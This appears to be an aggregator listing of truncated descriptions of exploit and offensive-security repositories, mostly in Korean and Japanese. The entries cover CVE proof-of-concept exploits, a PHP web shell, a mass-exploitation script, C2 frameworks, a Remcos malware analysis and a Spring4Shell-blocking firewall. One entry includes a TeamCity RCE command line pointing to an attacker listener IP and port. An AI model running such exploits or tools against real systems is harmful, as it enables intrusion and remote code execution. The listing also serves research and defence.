cve-2019-0604-SP2010-netv3.5

cve-2019-0604-SP2010-netv3.5 최근에 SharePoint 2010 SP2를 접했는데, 서버가 .net 3.5에서 실행 중이라 다른 라이브러리가 필요하다는 사실을 깨닫기 전까지는 테스트했던 모든 Proof of Concept이 작동하지 않았습니다. 다음은 .net 3.5용 .dll 파일입니다. 코드는 https://github.com/linhlhq/CVE-2019-0604 에서 가져왔습니다. 이 코드는 직렬화 페이로드를 생성합니다...

CVE-2025-32433.py

CVE-2025-32433.py 이 Python PoC는 키 교환, 채널 열기, 명령 요청을 포함한 SSH 메시지 흐름을 시뮬레이션하여 서버 동작을 분석합니다. 통제된 실험실 테스트를 위해 설계되었으며, 프로토콜 처리, 사전 인증 메시지 처리, 연구 및 방어 분석을 위한 페이로드 상호작용을 시연합니다...

CVE-2016-3714

CVE-2016-3714 ImageMagick 코드 실행 CVE-2016-3714 imagickbuilder.py = CVE-2016-3714를 악용하기 위한 간단한 페이로드 빌더 imagickbypassshell.php = PHP imagick 확장 래퍼를 사용하여 비활성화된 함수를 우회하는 PHP 기반 웹 셸 작동하는 몇 가지 이미지: 페이로드 빌더: ImageMagick이 활성화된 vBulletin 4.x에 대한 imagick 페이로드: 페이로드 트리거 후 서버 측: 웹 셸: 명령 실행: 파일 읽기:...

-Remcos-RAT-Fileless-svchost-Injection-Obfuscated-Payload-Analysis-

1. Remcos – Native API 호출을 통한 svchost 인젝션 다음 Binary Ninja 스니펫은 Remcos가 svchost.exe에 페이로드를 주입하는 데 사용하는 핵심 인젝션 메커니즘을 보여줍니다. 이 코드가 하는 일: CreateProcessW 와 CREATESUSPENDED 플래그를 사용하여 중단된 상태의 새 svchost 프로세스를 시작합니다. VirtualAlloc 은 MEMCOMMIT 및 PAGEREADWRITE 플래그를 사용하여 대상 프로세스 내에 메모리를 할당하므로 페이로드를 프로세스 메모리에...

cve-2024-4367-poc

PDF.js용 CVE-2024-4367 POC PDF.js의 CVE-2024-4367 취약점에 대한 POC - pdf-modify.py 스크립트를 사용하여 PDF를 수정하고 페이로드를 주입할 수 있습니다. 사용법 1. CVE-2024-4367-POC-base-placeholder.pdf 파일이 작업 디렉터리에 있는지 확인하세요. 2. pdf-modify.py에서 payloadnew 변수의 주석을 해제/수정하세요. 3. python pdf-modify.py를 실행하세요. 인자는 필요 없습니다. 4. 로컬 디렉터리에 타임스탬프...

PT-2026-102348

Name of the Vulnerable Software and Affected Versions PyJWT versions 2.0.0a1 through 2.14.9 Description The PyJWKClient.get signing key from jwt function and the jwt/api jwt.py implementation when verify signature=False are affected by an issue where the payload parser catches ValueError but fail...

CVE-2025-53770

CVE-2025-53770 이것은 CVE-2025-53770으로 지정된 SharePoint 무인증 원격 코드 실행 취약점을 위한 스캐너입니다. 이 코드는 실제 환경에서 발견된 페이로드를 리버스 엔지니어링하여 작성되었습니다. 사용에 따른 책임은 본인에게 있으며, 이로 인해 발생할 수 있는 부정적 영향에 대해 저는 책임지지 않습니다. 어떻게 작동하나요? SharePoint ToolBox 위젯에 마커를 주입하여 취약점을 악용하려고 시도합니다. SharePoint 서버 응답에서 이 무해한 마커가 발견되면 해당 호스트는 취약한 것으로...

PoC-CVE-2022-30190

POC CVE-2022-30190 : CVE 0-day MS Offic RCE 일명 msdt follina 정보 : PowerShell 실행을 위해 공격에 사용된 새로운 Microsoft Office 제로데이 요약 2022년 5월 29일, 독립적인 사이버 보안 연구팀인 NaoSec 팀은 Virustotal에 공유된 악성 Office 문서를 발견했습니다. 이 문서는 피해자를 감염시키기 위해 특이하지만 알려진 방식을 사용하고 있습니다. 이 방식은 Microsoft Defender for Endpoint와 같은 일부 EDR에서 악성...

CVE-2025-55182-MassPayloadAttack

CVE-2025-55182 대량 페이로드 공격 React2Shell CVE-2025-55182 React2Shell 를 대상으로 하는 수정된 대량 RCE 익스플로잇 스크립트로, Next.js 애플리케이션을 공격합니다. 이 도구는 pax-k의 원본 PoC 스크립트의 수정판 입니다. 원본 스크립트가 단일 호스트를 대상으로 하는 반면, 이 버전은 URL 목록에서 대량 스캔 을 지원하도록 개선되어, 효율적인 취약점 평가를 위해 페이로드 주입, 명령 실행, 출력 파싱을 자동화합니다. 🚀 기능 대량 익스플로잇 : 대상 URL 목록이 포함...

mythic_ornn

Mythic Ornn LLM駆動型ジェネレーター for Mythic Agents、Payload-Type、C2 Profiles。 Mythicエージェントは手書きするのが面倒です。どのエージェントも同じワイヤープロトコル、ペイロードタイプのスキャフォールディング、C2配管を再実装する必要があります。Mythic Ornnは、公式のMythic開発者ドキュメントを生成パイプラインの検索レイヤーにすることで、ボイラープレートを省略します。LLMがローカルに保存された精選済みドキュメントを参照し、文書化されたメッセージ形式にそのまま一致するエージェントを生成します。...

CVE-2023-42793

CVE-2023-42793について まず、別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトを使用すると、ペイロードをURLにエンコードしてサーバーに送信するため、LinuxサーバーへのRCEを取得できます。 使用方法 python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

cve-2020-14343-lab

CVE-2020-14343 – PyYAML 安全でない YAML 読み込みラボ 1. プロジェクト概要 このプロジェクトは、制御された隔離された Docker 環境で CVE-2020-14343 を実演します。 このラボには 2 つの環境が含まれています: PyYAML 5.3.1 を使用した脆弱な環境 PyYAML 5.4 と yaml.safeload を使用した修正済み環境 このラボでは、脆弱性のライフサイクル全体を実演します: 1. 脆弱なアプリケーションをデプロイします。 2. 脆弱な PyYAML バージョンを特定します。 3. 制御された YAML...

Project-CVE-2026-65351

BROWSER BOMB / リソース枯渇ペイロード Xer0TLabs & Persephrak Decentralized Syndicate によって開発されたブラウザストレステストスクリプトの分析およびドキュメント概要。 警告: 教育、研究、および許可されたテスト目的のみに使用してください。このスクリプトを実行すると、対象のブラウザタブ、アプリケーション、またはオペレーティングシステムが即座にフリーズまたはクラッシュします。 1. プロジェクト概要...

follina.py

'Follina' MS-MSDT n-day Microsoft Office RCE 'Follina' Office RCE 脆弱性をローカルテスト目的で再現するためのクイックPOCです。スクリプトを実行すると、カレントワーキングディレクトリに clickme.docx（または clickme.rtf）ペイロードファイルが生成され、ペイロードファイル（www/exploit.html）を配信するWebサーバーが起動します。ペイロードとWebサーバーのパラメータは設定可能です（ヘルプと例を参照）。 ⚠ 本番環境では使用しないでください。さもないと、あなたはバカとみなされます。 使用方...

SharpWnfSuite

SharpWnfSuite これは、Windows Notification Facility WNF ツールのリポジトリです。 現在、Alex Ionescu @aionescu と Gabrielle Viala @pwissenlit によって開発された wnfun 内のツールの C ポートがアップロードされています。 Windows Notification Facility 用の追加ツールを開発した場合は、ここにアップロードします。 目次 SharpWnfSuite 使用方法 SharpWnfDump SharpWnfNameDumper SharpWnfClient...

PayloadAutomation

Payload Automationとは？ PyPiパッケージとして利用可能になりました: https://pypi.org/project/payload-automation/ Payload Automationは、SleepとPythonの間のブリッジとして機能するPythonクラスのコレクションであり、Cobalt Strikeやその他思いつくあらゆるものを使って、ペイロード開発、テスト、OPSECチェック、デプロイを自動化するのに役立ちます。 提供されている機能を活用した事前作成スクリプトについては、examplesフォルダを確認してください。 含まれるライブラリ:...

eero-zero-length-ipv6-options-header-dos

eeroOS 이더넷 인터페이스 서비스 거부 취약점 CVE-2023-5324 eero Pro 5 장치가 페이로드 길이가 0이고 존재하지 않는 다른 hop-by-hop 또는 destination options 확장 헤더를 참조하는 hop-by-hop 또는 destination options 확장 헤더를 포함하는 IPv6 패킷을 수신하면패킷이 해당 콘텐츠를 제공하기 전에 끝나기 때문에 이더넷 인터페이스는 더 이상 패킷을 수신하지 않게 됩니다. 이더넷을 통한 전송 및 모든 WiFi 통신은 영향을 받지 않습니다. 모든 테스트는 "브리지...

Brute-Ratel-C4-Community-Kit

Brute-Ratel-C4 本仓库包含用于 Brute Ratel C4 https://bruteratel.com/ 的脚本、配置和已弃用的 payload 加载器。添加到 deprecated 文件夹中的任何内容都不会包含在 BRc4 的最新版本中。...

CVE-2025-59287-Exercise-Use

CVE-2025-59287 — WSUS 인증되지 않은 원격 코드 실행 CVE-2025-59287용 퍼플 팀 연습 스크립트로, Windows Server Update Services WSUS의 인증되지 않은 원격 코드 실행 취약점입니다. 승인된 용도로만 사용하십시오. 통제된 연습 환경에서 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에 대해서만 사용하십시오. 작동 방식 이 취약점은 익명으로 접근 가능한 WSUS SOAP 엔드포인트를 악용하여 악성 역직렬화 페이로드를 WSUS 데이터베이스에 주입합니다. 페이로드는 WSUS 관...

fire-wall-server

🛡️ Spring4Shell 방화벽 완화 Python 스크립트 이 프로젝트는 Python 내장 http.server 모듈을 사용하여 Spring4Shell CVE-2022-22965 취약점을 악용하는 악성 요청을 탐지하고 차단하는 방화벽을 시뮬레이션합니다. 🔍 소개 Spring4Shell은 Spring Core Framework에 영향을 주는 치명적인 원격 코드 실행RCE 취약점입니다. 공격자는 악성 페이로드를 사용하여 서버에 웹 셸을 배포합니다. 이 저장소는 가벼운 사용자 지정 Python HTTP 방화벽을 사용하여 이를...